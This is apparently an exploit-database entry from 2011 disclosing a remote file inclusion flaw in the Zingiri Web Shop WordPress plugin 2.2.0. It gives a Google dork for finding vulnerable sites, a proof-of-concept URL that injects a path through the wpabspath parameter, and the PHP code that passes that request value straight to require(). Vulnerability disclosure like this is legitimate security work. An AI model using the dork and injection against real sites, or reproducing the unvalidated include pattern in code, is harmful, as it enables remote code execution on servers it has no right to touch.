Wordpress Zingiri Web Shop Plugin 2.2.0 Remote File Inclusion

# Exploit Title: Zingiri Web Shop Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/zingiri-web-shop
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/zingiri-web-shop/download/
# Version: 2.2.0 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/zingiri-web-shop/fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI

---
Vulnerable Code
---
if ($_REQUEST['cms']=='jl') {
 define('ZING_CMS','jl');
 $_REQUEST['tmpl'] = 'component';
 $_REQUEST['option'] = 'com_zingiriwebshop';
 ob_start();
 require($_REQUEST['wpabspath'].'/index.php');
 ob_end_clean();
} elseif ($_REQUEST['cms']=='dp') {
 //all bootstrapping is already done
} else {
 if (!defined('ZING_AJAX') || !ZING_AJAX) {
  /** Loads the WordPress Environment */
  //require($_REQUEST['wpabspath'].'wp-blog-header.php');
  require($_REQUEST['wpabspath'].'wp-load.php');
  /** Load Zingiri Web Shop */
  require(dirname(__FILE__).'/../../zing.readcookie.inc.php');
  require(dirname(__FILE__).'/../../startmodules.inc.php');
 }
}